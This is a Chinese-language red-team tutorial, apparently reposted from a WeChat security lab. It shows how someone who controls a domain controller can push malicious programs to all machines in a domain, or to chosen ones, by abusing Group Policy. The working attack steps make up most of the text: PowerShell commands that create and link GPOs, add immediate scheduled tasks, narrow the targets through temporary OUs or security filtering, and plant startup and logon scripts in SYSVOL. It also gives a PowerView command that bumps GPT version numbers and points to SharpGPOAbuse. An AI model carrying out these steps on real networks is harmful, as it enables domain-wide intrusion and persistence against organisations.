介绍
GPO是Group Policy Object的缩写,译为组策略对象,作用在于控制用户可以干什么不可以干什么,比如密码必须要符合要求,特定文件夹访问权,安装附加功能或者以管理身份运行某些软件等等,这一套策略就叫组策略对象。
在域控中,组策略相当于中心管理,然后下发域中机器,应用到指定的计算机组或域中所有机器,如果是单台计算机设置组策略,那么就只应用于当前这台机器。
默认情况下,组策略每90分钟刷新一次,随机时间偏移是30分钟,域控上是5分钟刷新一次,从xp开始,用户可以手动gpupdate来刷新。
效果和前提
win2008开始,GPO支持计划任务,可执行命令或程序,通过GPO下发恶意程序,可以达到控制所有机器的目的,但前提是控制了域控,可以配置组策略。
运维配置GPO
最常见方便的,就是在域控直接编辑组策略,打开服务器管理器-选择工具-组策略管理。
在域上右键,选择域中创建GPO,则作用范围就是域内所有机器:
如果在OU上右键新建组策略,那么应用范围就限制在了这个OU下:
这里我们建一个GPOPlanMaer组策略,范围是整个域,在该策略上右键选择编辑:
打开组策略管理编辑器,在用户配置-首选项-控制面板设置-计划任务-新建-即时任务中来新建个任务,如下图:
这里的即时任务指的是域内机器组策略刷新时,该任务就执行,时间上面提到过,90分钟左右偏移30,或者是用户重新登录,执行gpupdate也可以。
新建即时任务,输入名称:
然后切换到操作栏,新建一个操作,脚本和参数以下图的whoami为例:
这里有两个地方需要注意:1,新建操作的程序或脚本那里,如果点击浏览选择cmd程序或者其它二进制程序,点确认时会崩溃,我这个是2016的环境,其它目前不清楚,可以直接手动输入cmd或者powershell。2,新建操作完成后,没有确认按钮,如果直接点叉关闭,默认不会保存,这里需要按回车键。如下图:
用jixi账号登录,脚本已运行:
渗透设置GPO
作为渗透人员,图形化可能不太方便,那么可以使用命令行来操作,首先,创建一个组策略:
powershell -c new-gpo -name GPOPlanMaer2
上图中组策略建好后,图形化中并没有看到,原因是需要把建好的策略链接到指定的域上,这里链接到afa域:
powershell -c new-gplink -name GPOPlanMaer2 -Target 'dc=afa,dc=com'
此时再刷新就看到了,遗憾的是powershell提供了对GPO的操作,但没有提供对即时任务的操作,意味着我们只能新建策略,但不能给策略添加即时任务。
好在,站在了巨人的肩膀上,提供的脚本地址如下:
https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask.ps1
原理是什么呢,GPO新建的即时任务会在sysvol目录下生成相关的xml文件,操作这个xml就可以了。
命令如下:
Import-Module .New-GPOImmediateTask.ps1
New-GPOImmediateTask -TaskName ipconfig -GPODisplayName GPOPlanMaer2 -SysPath '\afa.comsysvolafa.com' -CommandArguments '-c "ipconfig > c:userspublicip.txt"'
图形化查看下,即时任务已创建:
手动更新下组策略,成功运行:
关于组策略更新
最后再拓展下,哪几种情况下组策略会更新。
1,计算机默认情况下都是90分钟更新一次,上下有30分钟的随机时间,而域控不一样,域控比较频繁,是5分钟,那么怎么更新组策略呢,计算机会检查sysvol里面的GPT.ini,如果自己版本不是最新,就会更新过来。
2,第二种情况就是,用户开机登录的时候,会去检查sysvol里面的GPT.ini文件,自己版本不是最新的话,会更新过来。
3,第三种就是强制更新,执行gpupdate /force命令。
攻击指定目标1
比如要攻击一些指定的目标,或者是部分目标没有上线,需要对这些目标做攻击,但他们没在一个单元内,这时,可以新建一个OU,把这些人移动到新建的OU中,攻击完再移回去即可。
只需要把GPO链接到指定OU就可以了,相关命令如下。
# 在afa.com域下下新建OU
New-ADOrganizationalUnit -Name OUTest1 -Path "dc=afa,dc=com"
# 如果想在单元OUTest1下再新建一个OU,写法如下
New-ADOrganizationalUnit -Name OUTest2 -Path "ou=OUTest1,dc=afa,dc=com"
# 把user1移动到OUTest1单元内
dsmove "CN=user1,dc=afa,dc=com" -newparent "OU=OUTest1,dc=afa,dc=com"
# 新建GPO链接到新单元内
new-gpo -name GPOTest | new-gplink -Target "OU=OUTest1,dc=afa,dc=com"
# 然后就是上面的那个powershell新建即时任务的命令,参考上面
# 把user1还原回去
dsmove "CN=user1,dc=afa,dc=com" -newparent "CN=Computers,dc=afa,dc=com"
# 删除OU=OUTest1
set-ADOrganizationalUnit -Identity "OU=OUTest1,dc=afa,dc=com" -ProtectedFromAccidentalDeletion $false Remove-ADOrganizationalUnit -Identity "OU=OUTest1,dc=afa,dc=com" -Recursive -Confirm:$False
# ProtectedFromAccidentalDeletion:是否阻止对象被删除,false为不阻止
# Recursive:递归,子单元也会被删除
# Confirm:运行cmdlet前不提示确认信息
攻击指定目标2
上面步骤比较繁琐,有一种更简单的方法,我们可以设置安全筛选,即只要设置GPO权限即可。
1,新建GPO并链接到afa.com域
new-gpo -name TestGPO | new-gplink -Target "dc=afa,dc=com"
2,查看下该GPO原有的访问成员
Get-GPPermission -name TestGPO -all
3,取消原有成员的访问权
Set-GPPermission -Name TestGPO -TargetName "xxx" -TargetType group -PermissionLevel none -replace
按上面命令格式,把已有的组挨个设置下即可,需要注意的是要把domain admins、enterprise admins留下,这两删掉,组策略也会跟着被删。
下面就可以设置安全筛选了,可以设置某台机器访问,也可以设置某个用户访问,或者是某个组:
# 设置该GPO允许某台机器应用
Set-GPPermission -Name TestGPO -TargetName "afa$" -TargetType Computer -PermissionLevel GpoApply
# 设置该GPO允许某个用户应用
Set-GPPermission -Name TestGPO -TargetName "jixi" -TargetType user -PermissionLevel GpoApply
# 设置该GPO允许某个组内应用
Set-GPPermission -Name TestGPO -TargetName "" -TargetType group -PermissionLevel GpoApply
需要注意的是设置某个组时,不能是OU:
重新查看GPO的链接:
之后就是设置即时任务那一套了。
开机/关机,登录/注销下发恶意程序
上面的都是即时任务,组策略更新就会触发,有时候我们可能不需要触发那么多次,那么可以设置为开机或登录触发。
需要在默认的GPO对应目录增加相关的文件和配置就可以了,域默认GPO的唯一ID:{31B2F340-016D-11D2-945F-00C04FB984F9}
编辑此策略,在windows设置下可以看到相关的启动脚本设置选项,如下图:
开关机设置
开关机设置路径为:
C:WindowsSYSVOLsysvolafa.comPolicies{31B2F340-016D-11D2-945F-00C04FB984F9}MACHINE
然后在MACHINE下新建一个scripts文件夹,scripts中再建个shutdown和startup,基本默认都有,没有的话建一下即可。
startup目录下放启动的执行文件,shutdown目录下放关机的执行文件。
然后把exe或者bat脚本放进去,这里以mspaint.exe为例,复制一份到startup,然后在script目录下新建一个scripts.ini文件,内容如下:
[Startup]
0CmdLine=mspaint.exe
0Parameters=
ini中内容意思为启动脚本为mspaint程序,启动参数为空,如果要设置关机,把Startup换成Shutdown即可。
登录注销设置
设置同理,只不过路径有变化:
C:WindowsSYSVOLsysvolafa.comPolicies{31B2F340-016D-11D2-945F-00C04FB984F9}USER
logon是登录,logoff注销。内容写法和上面的开关机是一样的。
需要注意的有两点:1,如果域成员机器做了相关操作,脚本却没有运行,那么可能是远程文件运行警告确认,可以访问域共享目录手动点击一下看能不能执行。2,如果域成员机器可以运行,但做了相关操作,脚本还没有运行,可以去域控试一下有没有远程文件运行警告,我这里测试的如果域控不允许,域内机器也不能执行,域组策略对域控没生效,需要手动打开gepdit.msc域控的本地策略来设置下。
执行powershell脚本
上面说了脚本可以是exe或者bat,但也可以设置为ps,稍微有点区别,设置如下图:
我这里就不找ps脚本了,还拿刚才的test.bat为例,设置好后,我们可以看下script.ini的变化:
ps脚本的配置文件是psscripts.ini,内容是一样的,如果设置的首先运行ps脚本,就会有一个scriptconfig配置项,如上图。
更改GPT.ini版本号
注意:上面那些操作如果是通过图形化设置的,那么GPT.ini(域默认策略31B……4F9下的配置文件)的版本号会进行更新:
可以通过ldapbrower查看:
这里测试的如果直接修改txt,查出来的版本号还是原来的,实际测试中,为了方便,可以使用ps脚本修改,powerview支持此功能,命令如下:
Get-DomainGPO -Identity "Default Domain Policy" | Set-DomainObject -Set @{'versionnum ber'='666666'}
SharpGPOAbuse
上面的操作起来可能相对麻烦,相关操作有提供相关的工具,SharpGPOAbuse可以完成上面的任务,地址如下:
https://github.com/FSecureLABS/SharpGPOAbuse
我这里编译运行有点问题,所以去搜了个编译好的,参考地址:
https://github.com/byronkg/SharpGPOAbuse/
使用参考readme即可。
设置后用户登录可成功触发运行。
原文始发于微信公众号(aFa攻防实验室):GPO批量下发恶意程序
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论